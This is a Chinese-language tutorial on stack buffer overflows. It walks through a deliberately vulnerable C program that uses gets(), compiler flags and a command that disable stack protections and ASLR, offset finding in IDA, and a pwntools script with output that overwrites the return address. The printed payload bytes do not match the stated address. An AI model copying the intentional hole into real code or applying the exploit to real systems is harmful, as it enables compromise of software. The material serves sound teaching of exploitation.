介绍
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:
- 程序必须向栈上写入数据
- 写入的数据大小没有被良好地控制。
基本示例
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。下面,我们举一个简单的例子:
#include <stdio.h>
#include <string.h>
void success(void)
{
puts("You Hava already controlled it.");
}
void vulnerable(void)
{
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv)
{
vulnerable();
return 0;
}
这个程序的主要目的是读取一个字符串,并将其输出。我们希望可以控制程序执行success函数。
我们利用如下命令对其进行编译
➜ gcc -m32 -fno-stack-protector stack_example.c -o stack_example
stack_example.c: In function ‘vulnerable’:
stack_example.c:13:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
13 | gets(s);
| ^~~~
| fgets
/usr/bin/ld: /tmp/cc9XFYBz.o: in function `vulnerable':
stack_example.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used.
可以看出gets本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易导致栈溢出。
历史上,莫里斯蠕虫(第一种蠕虫病毒)就利用了gets这个危险函数实现了栈溢出。
gcc编译指令中,-m32指的是生成32位程序;-fno-stack-protector指的是不开启堆栈溢出保护,即不生成canary。此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭PIE(Position Independent Executable),避免加载基址被打乱。不同gcc版本对于PIE的默认配置不同,我们可以使用命令gcc -v查看gcc默认的开关情况。如果含有–enable-default-pie参数则代表PIE默认已开启,需要在编译指令中添加参数-no-pie。
编译成功后,可以使用checksec工具检查编译出的文件:

看了一下,这里是有PIE保护的,所以需要在编译指令中添加参数-no-pie。
提到编译时的PIE保护,Linux平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了PIE保护,还需要系统开启ASLR才会真正打乱基址,否则程序运行时依旧会加载在一个固定的基址上(不过和No PIE时基址不同)。我们可以通过修改/proc/sys/kernel/randomize_va_space来控制ASLR启动与否,具体的选项有:
- 0,关闭ASLR,没有随机化。堆、栈、.so的基地址每次都相同。
- 1,普通的ASLR,栈基地址、mmap地址、.so加载基地址都会被随机化,但是堆基地址没有随机化
- 2,增强的ASLR,在1的基础上,增加了堆基地址随机化。
我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭Linux系统的ASLR,类似的,也可以配置相应的参数。
为了降低后续漏洞利用复杂度,我们这里关闭ASLR,在编译时关闭PIE。当然,在ASLR关闭、PIE开启的时候也可以攻击成功。
确认栈溢出和PIE保护关闭后,我们利用IDA来反编译一下二进制程序并查看vulnerable函数。可以看到
int vulnerable()
{
char s[16]; // [esp+4h] [ebp-14h] BYREF
gets(s);
return puts(s);
}
该字符串距离ebp的长度为0x14,那么相应的栈结构为

并且,我们可以通过IDA获得success的地址,其地址为0x08049176

那么如果我们读取的字符串为
0x14*'a'+'bbbb'+success_addr
那么,由于gets函数会读取到回车才结束,所以我们可以直接读取所有的字符串,并且将saved edp覆盖为bbbb,将retaddr覆盖为success_addr,即,此时的栈结构为

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小段存储,即0x08049176在内存中的形式是
\x76\x91\x04\x08
但是,我们又不能直接在终端将哲学字符给输入进去,在终端输入的时候\,x等也算一个单独的字符,所以我们需要想办法将\x76作为一个字符输入进去。那么此时我们就需要使用一波pwntools了(关于如何安装以及基本用法,请自行github),这里利用pwntools的代码如下:
from pwn import *
# 构造与程序交互的对象
p = process('./stack_example')
success_addr = 0x08049176
# 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
# 向程序发送字符串
p.sendline(payload)
# 将代码交互转换为手工交互
p.interactive()
执行一波代码,可以得到
➜ python exp.py
[+] Starting local process './stack_example': pid 61936
;\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive
可以看到我们确实已经执行了success函数。
总结
上面的示例其实也展示了栈溢出中比较重要的几个步骤。
寻找危险函数
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常用的危险函数如下
输入:
- gets,直接读取一行,忽略’\x00′
- scanf
- vscanf
输出:
- sprintf
字符串:
- strcpy,字符串复制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00停止
- bcopy
确定填充长度
这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式
- 相对于栈基地址的索引,可以直接通过查看EBP相对偏移获得
- 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
- 直接地址索引,就相当于直接给定了地址。
一般来说,我们会有如下的覆盖需求
- 覆盖函数返回地址,这时候就是直接看EBP即可。
- 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
- 覆盖bss段某个变量的内容。
- 根据执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或间接地控制程序执行流程。
本文地址: 栈溢出原理